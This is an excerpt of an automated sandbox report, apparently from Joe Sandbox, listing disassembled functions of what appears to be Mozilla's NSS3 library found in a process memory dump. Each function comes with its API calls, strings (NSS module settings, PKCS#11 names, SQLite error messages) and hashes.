PR_Unlock.NSS3 ref: 6C717281
SECMOD_DestroyModule.NSS3(00000000), ref: 6C717291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7172B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7172D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7172E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C717301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C717310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C717335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C717344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C717363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C717372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6C850148,,defaultModDB,internalKeySlot), ref: 6C7174CC
free.MOZGLUE(00000000), ref: 6C717513
free.MOZGLUE(00000000), ref: 6C71751B
free.MOZGLUE(00000000), ref: 6C717528
free.MOZGLUE(00000000), ref: 6C71753C
free.MOZGLUE(00000000), ref: 6C717550
free.MOZGLUE(00000000), ref: 6C717561
free.MOZGLUE(00000000), ref: 6C717572
free.MOZGLUE(00000000), ref: 6C717583
free.MOZGLUE(00000000), ref: 6C717594
free.MOZGLUE(00000000), ref: 6C7175A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6C7175BD
free.MOZGLUE(00000000), ref: 6C7175C8
free.MOZGLUE(00000000), ref: 6C7175F1
PR_NewLock.NSS3 ref: 6C717636
SECMOD_DestroyModule.NSS3(00000000), ref: 6C717686
PR_NewLock.NSS3 ref: 6C7176A2

Part of subcall function 6C7C98D0: calloc.MOZGLUE(00000001,00000084,6C6F0936,00000001,?,6C6F102C), ref: 6C7C98E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6C7176B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6C717707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C71771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C717731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6C71774A
DeleteCriticalSection.KERNEL32(?), ref: 6C717770
free.MOZGLUE(?), ref: 6C717779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C71779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7177AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6C7177C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C7177DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6C717821
PORT_Alloc_Util.NSS3(?), ref: 6C717837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6C71785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C71786F
SECMOD_AddNewModuleEx.NSS3 ref: 6C7178AC
free.MOZGLUE(00000000), ref: 6C7178BE
SECMOD_AddNewModuleEx.NSS3 ref: 6C7178F3
free.MOZGLUE(00000000), ref: 6C7178FC
free.MOZGLUE(00000000), ref: 6C71791C

Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07AD
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07CD
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07D6
Part of subcall function 6C6F07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C68204A), ref: 6C6F07E4
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,6C68204A), ref: 6C6F0864
Part of subcall function 6C6F07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C6F0880
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,6C68204A), ref: 6C6F08CB
Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(?,?,6C68204A), ref: 6C6F08D7
Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(?,?,6C68204A), ref: 6C6F08FB

Strings

name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6C7174C7
,defaultModDB,internalKeySlot, xrefs: 6C71748D, 6C7174AA
extern:, xrefs: 6C71772B
dbm:, xrefs: 6C717716
NSS Internal Module, xrefs: 6C7174A2, 6C7174C6
Spac, xrefs: 6C717389
sql:, xrefs: 6C7176FE
rdb:, xrefs: 6C717744
kbi., xrefs: 6C717886
dll, xrefs: 6C71788E

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: bbc334081df02e52dbf16753eccaa9013cdab5137ff73cee88fd968227d74c87
Instruction ID: 39851e65f7d753728c7c6d71ce2fd251547e876fe6fabfe47d359c00a9b93584
Opcode Fuzzy Hash: bbc334081df02e52dbf16753eccaa9013cdab5137ff73cee88fd968227d74c87
Instruction Fuzzy Hash: 2C52F4B1E092059BEF218F65CE097AA7BB4AF0A30CF184538EC09A7E41E775D954CBD1

Function 6C73BFF0 Relevance: 75.9, APIs: 31, Strings: 12, Instructions: 624memorystringCOMMON

Download Yara Rule

APIs

PR_ExitMonitor.NSS3 ref: 6C73C0C8

Part of subcall function 6C7C9440: LeaveCriticalSection.KERNEL32 ref: 6C7C95CD
Part of subcall function 6C7C9440: TlsGetValue.KERNEL32 ref: 6C7C9622
Part of subcall function 6C7C9440: _PR_MD_NOTIFYALL_CV.NSS3 ref: 6C7C964E

PR_EnterMonitor.NSS3 ref: 6C73C0AE

Part of subcall function 6C7C9090: LeaveCriticalSection.KERNEL32 ref: 6C7C91AA
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C9212
Part of subcall function 6C7C9090: _PR_MD_WAIT_CV.NSS3 ref: 6C7C926B

Part of subcall function 6C6F0600: GetLastError.KERNEL32(?,?,?,?,?,6C6F05E2), ref: 6C6F0642
Part of subcall function 6C6F0600: TlsGetValue.KERNEL32(?,?,?,?,?,6C6F05E2), ref: 6C6F065D
Part of subcall function 6C6F0600: GetLastError.KERNEL32 ref: 6C6F0678
Part of subcall function 6C6F0600: PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6C6F068A
Part of subcall function 6C6F0600: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6F0693
Part of subcall function 6C6F0600: PR_SetErrorText.NSS3(00000000,?), ref: 6C6F069D
Part of subcall function 6C6F0600: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,A5012C15,?,?,?,?,?,6C6F05E2), ref: 6C6F06CA
Part of subcall function 6C6F0600: PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6C6F05E2), ref: 6C6F06E6

PR_EnterMonitor.NSS3 ref: 6C73C0F2
PR_ExitMonitor.NSS3 ref: 6C73C10E
PR_ExitMonitor.NSS3 ref: 6C73C081

Part of subcall function 6C7C9440: TlsGetValue.KERNEL32 ref: 6C7C945B
Part of subcall function 6C7C9440: TlsGetValue.KERNEL32 ref: 6C7C9479
Part of subcall function 6C7C9440: EnterCriticalSection.KERNEL32 ref: 6C7C9495
Part of subcall function 6C7C9440: TlsGetValue.KERNEL32 ref: 6C7C94E4
Part of subcall function 6C7C9440: TlsGetValue.KERNEL32 ref: 6C7C9532
Part of subcall function 6C7C9440: LeaveCriticalSection.KERNEL32 ref: 6C7C955D

PR_EnterMonitor.NSS3 ref: 6C73C068

Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C90AB
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C90C9
Part of subcall function 6C7C9090: EnterCriticalSection.KERNEL32 ref: 6C7C90E5
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C9116
Part of subcall function 6C7C9090: LeaveCriticalSection.KERNEL32 ref: 6C7C913F

Part of subcall function 6C6F0600: GetProcAddress.KERNEL32(?,?), ref: 6C6F0623

_NSSUTIL_UTF8ToWide.NSS3(?), ref: 6C73C14F
PR_LoadLibraryWithFlags.NSS3 ref: 6C73C183
free.MOZGLUE(00000000), ref: 6C73C18E
PR_LoadLibrary.NSS3(?), ref: 6C73C1A3
PR_EnterMonitor.NSS3 ref: 6C73C1D4
PR_ExitMonitor.NSS3 ref: 6C73C1F3
PR_CallOnce.NSS3(6C862318,6C73CA70), ref: 6C73C210
PR_EnterMonitor.NSS3 ref: 6C73C22B
PR_ExitMonitor.NSS3 ref: 6C73C247
PR_EnterMonitor.NSS3 ref: 6C73C26A
PR_ExitMonitor.NSS3 ref: 6C73C287
PR_UnloadLibrary.NSS3(?), ref: 6C73C2D0
PR_GetEnvSecure.NSS3(NSS_DEBUG_PKCS11_MODULE), ref: 6C73C392
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C73C3AB
PR_NewLogModule.NSS3(nss_mod_log), ref: 6C73C3D1
PR_GetEnvSecure.NSS3(NSS_FORCE_TOKEN_LOCK), ref: 6C73C782
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD), ref: 6C73C7B5
PR_UnloadLibrary.NSS3(?), ref: 6C73C7CC
PR_SetError.NSS3(FFFFE097,00000000), ref: 6C73C82E
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C73C8BF
PORT_Alloc_Util.NSS3(?), ref: 6C73C8D5
free.MOZGLUE(00000000), ref: 6C73C900
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C73C9C7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C73C9E5
free.MOZGLUE(00000000), ref: 6C73CA5A

Strings

NSC_GetInterface, xrefs: 6C73C04F
NSC_GetFunctionList, xrefs: 6C73C093
NSC_ModuleDBFunc, xrefs: 6C73C0FC
NSS_FORCE_TOKEN_LOCK, xrefs: 6C73C77D
NSS_DEBUG_PKCS11_MODULE, xrefs: 6C73C38D
Vendor NSS FIPS Interface, xrefs: 6C73C34A
NSS_ReturnModuleSpecData, xrefs: 6C73C275
FC_GetInterface, xrefs: 6C73C054
PKCS 11, xrefs: 6C73C2F9, 6C73C314
nss_mod_log, xrefs: 6C73C3CC
NSS_DISABLE_UNLOAD, xrefs: 6C73C7B0
FC_GetFunctionList, xrefs: 6C73C098

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Monitor$Value$Enter$CriticalExitSection$Error$LeaveLibrary$Alloc_SecureUtilfree$ArenaLastLoadUnloadstrcmp$AddressCallFlagsModuleOnceProcR_snprintfTextWideWithmemcpystrlen
String ID: FC_GetFunctionList$FC_GetInterface$NSC_GetFunctionList$NSC_GetInterface$NSC_ModuleDBFunc$NSS_DEBUG_PKCS11_MODULE$NSS_DISABLE_UNLOAD$NSS_FORCE_TOKEN_LOCK$NSS_ReturnModuleSpecData$PKCS 11$Vendor NSS FIPS Interface$nss_mod_log
API String ID: 4243957313-3613044529
Opcode ID: 2b63ac35c4e884120ede4c63701b57ebe88b5181cbabf1d81153caf7f9d9d9e9
Instruction ID: 27aa73fa544bc2438045950892f4dc3af69543fe1b75786c50678ef42d22dbab
Opcode Fuzzy Hash: 2b63ac35c4e884120ede4c63701b57ebe88b5181cbabf1d81153caf7f9d9d9e9
Instruction Fuzzy Hash: 9042A2B2A042258FDF10DF66CA4AB6A7BB1BB4630DF046178D8098BB13E739D515CBD1

Function 6C813FC0 Relevance: 70.5, APIs: 37, Strings: 3, Instructions: 485stringprocessCOMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000008), ref: 6C813FD5
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C813FFE
malloc.MOZGLUE(-00000003), ref: 6C814016
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,6C84FC62), ref: 6C81404A
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C81407E
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C8140A4
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6C8140D7
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C814112
malloc.MOZGLUE(00000000), ref: 6C81411E
__p__environ.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0 ref: 6C81414D
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C814160
free.MOZGLUE(?), ref: 6C81416C
malloc.MOZGLUE(?), ref: 6C8141AB
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,NSPR_INHERIT_FDS=,00000011), ref: 6C8141EF
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,00000004,6C814520), ref: 6C814244
GetEnvironmentStrings.KERNEL32 ref: 6C81424D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C814263
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C814283
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C8142B7
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C8142E4
malloc.MOZGLUE(00000002), ref: 6C8142FA
FreeEnvironmentStringsA.KERNEL32(?), ref: 6C814342
GetStdHandle.KERNEL32(000000F6), ref: 6C8143AB
GetStdHandle.KERNEL32(000000F5), ref: 6C8143B2
GetStdHandle.KERNEL32(000000F4), ref: 6C8143B9
FreeEnvironmentStringsA.KERNEL32(?), ref: 6C814403
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C814410

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,00000044,?), ref: 6C81445E
CloseHandle.KERNEL32(?), ref: 6C81446B
free.MOZGLUE(?), ref: 6C814482
free.MOZGLUE(00000000), ref: 6C814492
free.MOZGLUE(00000000), ref: 6C8144A4
GetLastError.KERNEL32 ref: 6C8144B2
PR_SetError.NSS3(FFFFE896,00000000), ref: 6C8144BE
free.MOZGLUE(?), ref: 6C8144C7
free.MOZGLUE(00000000), ref: 6C8144D5
free.MOZGLUE(00000000), ref: 6C8144EA

Strings

NSPR_INHERIT_FDS=, xrefs: 6C8141E9
D, xrefs: 6C814396
=, xrefs: 6C8144F8

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: free$Errormallocstrlen$Handle$EnvironmentStringsmemset$Free$CloseCreateLastProcessValue__p__environqsortstrncmpstrpbrk
String ID: =$D$NSPR_INHERIT_FDS=
API String ID: 3116300875-3553733109
Opcode ID: 2c12b2c647d2648fa95b98d6fecbdec84ba79f7bdf63037f13cb9bfe7bff356e
Instruction ID: 8daf067aa51ce7e9627f5eaf9cbc2ed66c78fdd73310183ac2fa7eaa3abf35c7
Opcode Fuzzy Hash: 2c12b2c647d2648fa95b98d6fecbdec84ba79f7bdf63037f13cb9bfe7bff356e
Instruction Fuzzy Hash: 05021670E083569FEB308F698A4479EBBF4AFC631CF244928D859A7F42D7709845CB91

Function 6C726D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6C82A8EC,0000006C), ref: 6C726DC6
memcpy.VCRUNTIME140(?,6C82A958,0000006C), ref: 6C726DDB
memcpy.VCRUNTIME140(?,6C82A9C4,00000078), ref: 6C726DF1
memcpy.VCRUNTIME140(?,6C82AA3C,0000006C), ref: 6C726E06
memcpy.VCRUNTIME140(?,6C82AAA8,00000060), ref: 6C726E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C726E38

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6C726E76
TlsGetValue.KERNEL32 ref: 6C72726F
EnterCriticalSection.KERNEL32(?), ref: 6C727283

Strings

!, xrefs: 6C727123

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: 72e58256691988ec191dba9f1a498a18e636138d959090808b27effc78906038
Instruction ID: 512dfa35c74aac523b0f8e05f6ecf2b25de75e24c052738aa3887085aa7674c5
Opcode Fuzzy Hash: 72e58256691988ec191dba9f1a498a18e636138d959090808b27effc78906038
Instruction Fuzzy Hash: 14729E75D052199FDF60DF28CE8879ABBB5BF49308F1041A9D80DA7701E735AA84CF91

Function 6C693C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C693C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6C693D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C693EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C693ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C693F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C694052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C69406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6C69410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C69449C

Strings

database corruption, xrefs: 6C694490, 6C6944F4, 6C694599, 6C694764, 6C694804
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C694452, 6C694486, 6C6944EA, 6C694571, 6C694580, 6C69458F, 6C69475A, 6C6947FA
%s at line %d of [%.10s], xrefs: 6C694495, 6C6944F9, 6C69459E, 6C694769, 6C694809

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: fd6264f304fed0cc181648888009fb879ea4f2e7e773bf4fc68aefcb84edd768
Instruction ID: a9a402608669e1d18b036967d9abc49cabc4360a092cf84a5ac606fc4cd724fc
Opcode Fuzzy Hash: fd6264f304fed0cc181648888009fb879ea4f2e7e773bf4fc68aefcb84edd768
Instruction Fuzzy Hash: 5482CE74A00216CFCB04CF68C580BAE77F2BF49318F2585A9D819ABB51D771EC42CB99

Function 6C76AC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C76ACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6C76ACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6C76ACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6C76AD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C76ADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C76ADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C76ADF0

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C76B06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C76B08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C76B1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C76B27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6C76B2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C76B3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C76B40C

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: cb9d836e7ecd754af6800884d11e341e4560ceef922c4ac3db569a5553e7042c
Instruction ID: 250d78fb0ec3e64a52858d7eac80d8ee4f4925fccf4b274cea8a870830caa2a2
Opcode Fuzzy Hash: cb9d836e7ecd754af6800884d11e341e4560ceef922c4ac3db569a5553e7042c
Instruction Fuzzy Hash: D822CF70904300AFE710CF16CE48B9A77E1AF85308F248538FC585BB92E772E859DB92

Function 6C6B1F90 Relevance: 35.9, APIs: 5, Strings: 18, Instructions: 1430COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C6B25F3

Strings

'%s' is not a function, xrefs: 6C6B2FD2
H, xrefs: 6C6B322D
no such table: %s, xrefs: 6C6B26AC
%s.%s, xrefs: 6C6B2D68
no such index: "%s", xrefs: 6C6B319D
table %s has %d values for %d columns, xrefs: 6C6B316C
a NATURAL join may not have an ON or USING clause, xrefs: 6C6B32C1
cannot have both ON and USING clauses in the same join, xrefs: 6C6B32B5
%s.%s.%s, xrefs: 6C6B302D
unsafe use of virtual table "%s", xrefs: 6C6B30D1
multiple recursive references: %s, xrefs: 6C6B22E0
no tables specified, xrefs: 6C6B26BE
access to view "%s" prohibited, xrefs: 6C6B2F4A
too many references to "%s": max 65535, xrefs: 6C6B2FB6
cannot join using column %s - column not present in both tables, xrefs: 6C6B32AB
H, xrefs: 6C6B329F
recursive reference in a subquery: %s, xrefs: 6C6B22E5
too many columns in result set, xrefs: 6C6B3012

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: memcpy
String ID: %s.%s$%s.%s.%s$'%s' is not a function$H$H$a NATURAL join may not have an ON or USING clause$access to view "%s" prohibited$cannot have both ON and USING clauses in the same join$cannot join using column %s - column not present in both tables$multiple recursive references: %s$no such index: "%s"$no such table: %s$no tables specified$recursive reference in a subquery: %s$table %s has %d values for %d columns$too many columns in result set$too many references to "%s": max 65535$unsafe use of virtual table "%s"
API String ID: 3510742995-3400015513
Opcode ID: 51ab2e06c4b1cb5174819a8bc52017d698501cc1cd1ab46abe8300436aa75549
Instruction ID: b404f92b7934726f876cbdb6f2ad5ae1d605cbc052a8df002468648cbfdc2e6f
Opcode Fuzzy Hash: 51ab2e06c4b1cb5174819a8bc52017d698501cc1cd1ab46abe8300436aa75549
Instruction Fuzzy Hash: 39D27C74E042098FDB04CF99C498BDDB7F1BF49308F288169D855BBB51DB31A866CB98

Function 6C6EECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C6EED38

Part of subcall function 6C684F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C684FC4

